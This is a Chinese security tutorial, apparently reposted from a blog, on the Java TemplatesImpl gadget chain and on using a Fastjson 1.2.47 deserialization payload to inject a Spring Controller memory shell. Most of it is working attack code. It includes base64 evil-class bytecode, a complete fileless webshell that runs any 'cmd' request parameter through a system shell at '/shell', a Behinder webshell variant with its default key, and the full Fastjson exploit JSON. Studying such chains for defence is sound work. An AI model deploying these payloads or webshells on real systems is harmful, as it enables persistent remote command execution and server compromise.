TemplatesImpl利用链与Fastjson注入内存马
0x01 背景
之前文章中有说的,要加入星球访问:https://t.zsxq.com/0ahB6Mw1P
TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。《java安全漫谈》中给出了TemplatesImpl利用链:
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses()->TransletClassLoader#defineClass()->
在CB1分析中有提到,其实这条利用链还能加一个getOutputProperties,详见:https://xz.aliyun.com/t/12042
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
0x02 类加载器
ClassLoader,类加载器,是JVM执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部,然后转换为一个与目标类对应的java.lang.Class对象实例。ClassLoader提供的API
package java.lang;
public abstract class ClassLoader {public Class loadClass(String name);protected Class defineClass(byte[] b);public URL getResource(String name);public Enumeration getResources(String name);public ClassLoader getParent();
}
URLClassLoader
DefineClassLoader
BCELClassloader
TemplatesImpl
0x03 defineClass加载器
通过反射获取ClassLoader#defineClass,进而读取字节码加载类
package com.classloader;import java.lang.reflect.Method;
import java.util.Base64;public class DefineClassLoaderDemo {public static void main(String[] args) throws Exception {//反射获取ClassLoader#defineClassClass clazz = Class.forName("java.lang.ClassLoader");Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClassMethod.setAccessible(true);//先编译Evil.java,再进行base64编码//cat Evil.class | base64byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFkxjb20vY2xhc3Nsb2FkZXIvRXZpbDsBAApFeGNlcHRpb25zBwAkAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAALAAwHACUMACYAJwEAAnt9BwAoDAApACoHACsMACwALQEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMAC4ALwEABnN0YXRpYwEAFGNvbS9jbGFzc2xvYWRlci9FdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAIADQAAAEwAAgABAAAAFiq3AAGyAAISA7YABLgABRIGtgAHV7EAAAACAA4AAAASAAQAAAAGAAQADQAMAAcAFQAIAA8AAAAMAAEAAAAWABAAEQAAABIAAAAEAAEAEwAIABQADAABAA0AAAAlAAIAAAAAAAmyAAISCLYABLEAAAABAA4AAAAKAAIAAAAKAAgACwABABUAAAACABY=");Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length);targetClass.newInstance();}
}
看最后两行,通过反射拿到的方法,创建class对象。通过newInstance实例化对象,触发恶意代码
Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length);
targetClass.newInstance();
com.classloader.Evil代码如下
package com.classloader;import java.io.IOException;public class Evil {public Evil() throws IOException{Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}static {System.out.println("static");}{System.out.println("{}");}
}
0x04 newInstance与new
我们知道,一个对象在可以被使用之前必须要被正确地实例化。常见的实例化方式为
reTestre=newreTest();
如图,有个类reTest,分别存在static{}代码块,{}代码块,无参构造方法
实例化该类,可以看到,上面的3个代码块都执行了,并且顺序为: static{}>{}>无参构造方法
再看通过newInstance的方式,一样执行了几个代码块中的内容。
所以我们可以知道:defineClass方法直接根据字节数组定义一个类,如果没有执行newInstance,那么不会执行静态代码块、构造代码块、构造方法中的内容。
0x05 利用TemplatesImpl来加载字节码
1、首先准备一个命令执行Exp。看了前面的内容知道,这里是写了一个无参构造方法,内容为调用Runtime执行一个弹出计算器的命令。
package com.classloader;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TemplatesImplEvil extends AbstractTranslet {public TemplatesImplEvil() throws IOException {super();Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
2、然后我们就会有疑惑了,为什么这个Exp代码这么长,多了一些什么东西?
1、继承了一个类AbstractTranslet
2、多了两个transform方法
3、编写代码,加载前面的TemplatesImplEvil字节码
package com.classloader;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.util.Base64;public class TemplatesImplDemo {public static void main(String[] args) throws Exception{//cat TemplatesImplEvil.class | base64byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9jbGFzc2xvYWRlci9UZW1wbGF0ZXNJbXBsRXZpbDsBAApFeGNlcHRpb25zBwAlAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAJgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxFdmlsLmphdmEMAAcACAcAJwwAKAApAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAKgArAQAhY29tL2NsYXNzbG9hZGVyL1RlbXBsYXRlc0ltcGxFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAd");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][] {code});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
4、执行,确实弹出了计算器
5、这里很麻烦,每次都要去找到class文件并获取它的字节码,可以通过一个包,直接读取字节码
<!-- https://mvnrepository.com/artifact/javassist/javassist -->
<dependency><groupId>javassist</groupId><artifactId>javassist</artifactId><version>3.12.1.GA</version>
</dependency>
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();
6、可以正常执行了,我在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass处下了个断点
7、前面知道了newInstance实例化之后才能触发构造方法,这里看调用链,最后是到defineClass就结束了,为什么也可以实现调用构造方法呢,我在Runtime处下了个断点查看
8、看利用链是从getTransletInstance就调用了newInstance
9、在newInstance的上面,进行了name和class的判断,然后进入调用链到defineClass进行类定义之后,到
AbstractTranslet translet = (AbstractTranslet)_class[_transletIndex].getConstructor().newInstance();
强转为AbstractTranslet,并且调用newInstance实例化。这也是为什么执行的类需要继承AbstractTranslet,并且没有看到newInstance10、完善之后的利用链
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
TemplatesImpl#getTransletInstance() ->
Constructor#newInstance() ->
Runtime#exec(java.lang.String)
11、补个坑,TemplatesImplEvil创建的两个transform方法,继承AbstractTranslet自动需要的。
0x06 内存马
文章第四部分,了解了实例化类的时候,会自动执行static{}代码块,{}代码块,无参构造方法那么如何注入内存马呢,也是通过newInstance实现
1、首先我们看完整的spring Controller内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;//回显spring Controller内存马public class TemplatesImplSpringController extends AbstractTranslet {public TemplatesImplSpringController() throws Exception{super();WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Method method2 = TemplatesImplSpringController.class.getMethod("test");PatternsRequestCondition url = new PatternsRequestCondition("/shell");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");mappingHandlerMapping.registerMapping(info, inject, method2);}public TemplatesImplSpringController(String aaa) {}public void test() throws Exception {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if (System.getProperty("os.name").toLowerCase().contains("win")) {p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});} else {p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next() : o;c.close();writer.write(o);writer.flush();writer.close();} else {response.sendError(404);}} catch (Exception e) {}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
2、内容有点多,首先看到有如下几个方法
public TemplatesImplSpringController() throws Exception{
public TemplatesImplSpringController(String aaa) {
public void test() throws Exception {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
3、倒数两个可以不看,前面了解了要通过templatesImpl加载某个类的字节码,需要继承AbstractTranslet,继承之后自动生成两个transform方法
4、然后整个内存马就变成了3个部分
无参构造方法TemplatesImplSpringController()
有参构造方法TemplatesImplSpringController(String aaa)
test()
5、了解过内存马之后我们知道,tomcat或者spring,注入内存马都基本是通过获取上下文对象,再通过内置方法动态注册filter、listener、selvelt、controller、intercopter等查看无参构造方法
public TemplatesImplSpringController() throws Exception{super();WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Method method2 = TemplatesImplSpringController.class.getMethod("test");PatternsRequestCondition url = new PatternsRequestCondition("/shell");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");mappingHandlerMapping.registerMapping(info, inject, method2);}
super关键字主要是防止编译报错,具体可以看:https://blog.csdn.net/yongbutingxide/article/details/82669054
获取上下文对象context市面上公布的有4种方式:
//第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();//第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());//第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());//第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
6、拿到context之后,就可以通过context获取RequestMappingHandlerMapping,对象可以通过registerMapping注册恶意的Controller
// 动态注册controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
...
...
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
...
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, inject, method2);
7、中间部分则是创建好注册恶意controller所需要的字段,url为指定的路径
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = TemplatesImplSpringController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
8、第二个构造函数与无参构造函数中创建对象的含义
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
9、最后剩下test部分,此部分最后会注册到spring中,为内存马实际执行代码。
public void test() throws Exception {// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 获取cmd参数并执行命令,回显try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}
比较关键的就是request和response对象的获取
引入的两个包为tomcat包,这也是为什么spring gateway的el表达式注入漏洞无法直接注入冰蝎内存马的原因
0x07 fastjson1.2.47注入内存马
通过的是templatesImpl利用链
{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["恶意类字节码"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b","_version": "1.0","allowedProtocols": "all"}}
1、起一个springboot,代码如下
package com.shiro.vuln.Controller;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;@Controller
public class FastjsonController {@RequestMapping( "/deserialize")@ResponseBodypublic String deserialize(@RequestParam String code) throws Exception{
// JSON.parse(code);//fastjson1.2.47 TemplatesImpl利用JSON.parseObject(code,Object.class, Feature.SupportNonPublicField);return "deserialize";}
}
2、使用TemplatesImplEvil字节码攻击
3、获取内存马字节码
4、攻击fastjson,注入内存马
5、访问内存马
6、修改test部分为冰蝎逻辑即可注入冰蝎内存马
public void test() throws Exception {try {HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();HttpSession session = request.getSession();//create pageContextHashMap pageContext = new HashMap();pageContext.put("request", request);pageContext.put("response", response);pageContext.put("session", session);if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);method.setAccessible(true);byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);evilclass.newInstance().equals(pageContext);}}catch (Exception e){e.printStackTrace();}}
生成base64字节码
执行json解析
连接http://192.168.100.71:8080/shell
0x08 参考
https://t.zsxq.com/0a70j7Ake
https://xz.aliyun.com/t/12042
https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ
https://xz.aliyun.com/t/10781
https://xz.aliyun.com/t/12047
原文链接:https://xz.aliyun.com/t/12085
TemplatesImpl利用链与Fastjson注入内存马相关推荐
- Java内存马攻防实战——攻击基础篇
在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...
- 【网络安全】Agent内存马的自动分析与查杀
前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...
- Java内存马简单实现
文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...
- [Java安全]—Tomcat Filter内存马
文章首发于Secin:Filter内存马及工具检测 文章目录 原理 Filter注册流程 Filter内存马注入 内存马检测工具 原理 Servlet 有自己的过滤器filter,可以通过自定义的过滤 ...
- 初识Java内存马检测
近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...
- 【应急响应】网站入侵篡改指南Webshell内存马查杀漏洞排查时间分析
网站入侵篡改指南&Webshell内存马查杀&漏洞排查&时间分析 章节内容点: IIS&.NET-注入-基于时间配合日志分析 Apache&PHP-漏洞-基于漏 ...
- 再谈Spring内存马之Interceptor(内存马系列篇十)
前置 什么是Interceptor技术? 在系统中,经常需要在处理用户请求之前和之后执行一些行为,例如检测用户的权限,或者将请求的信息记录到日志中,即平时所说的"权限检测"及&qu ...
- java内存马分析集合
基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...
- java Servlet内存马
Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns=& ...
最新文章
- Linux下屏蔽Ctrl+Alt+Delete
- VS2008连接CodePlex的源代码管理服务
- Spring Boot 缓存应用实践
- mysql warning 在哪看_查看MySQL的warning
- 成功解决cv2.imwrite(filename, img)代码输出中文文件乱码的问题(cv2.imencode方法解决)
- dataloader 源码_pytorch :: Dataloader中的迭代器和生成器应用
- 使用Sniffer截获流经本机网卡的IP数据包
- 分布式系统的面试题5
- jpa 原生sql 查询返回一个实体_JPA查询--使用原生sql 并且把查询结果转为实体对象...
- 【辨异】 —— 带宽与宽带
- 只让类访问, 而不让类的实例来访问某个成员变量
- 两角和正切的展开式+正切公式+一元微积分
- 洛谷P2122 还教室
- IOS开发之相机、相册页面英文问题
- c#未能加载程序集oracle.dataaccess,未能加载文件或程序集“Oracle.DataAccess, Version=2.112.1.0解决方案...
- 单反相机的传奇—佳能单反50年辉煌之路(连载十三)
- node ref char*_「 volute 」树莓派+Node.js造一个有灵魂的语音助手
- Unexpected error: java.security.InvalidAlgorithmParameterException: the trustAnchors parameter must
- 一文全解高级网格划分工具Fluent Meshing
- opacity和rgba()的区别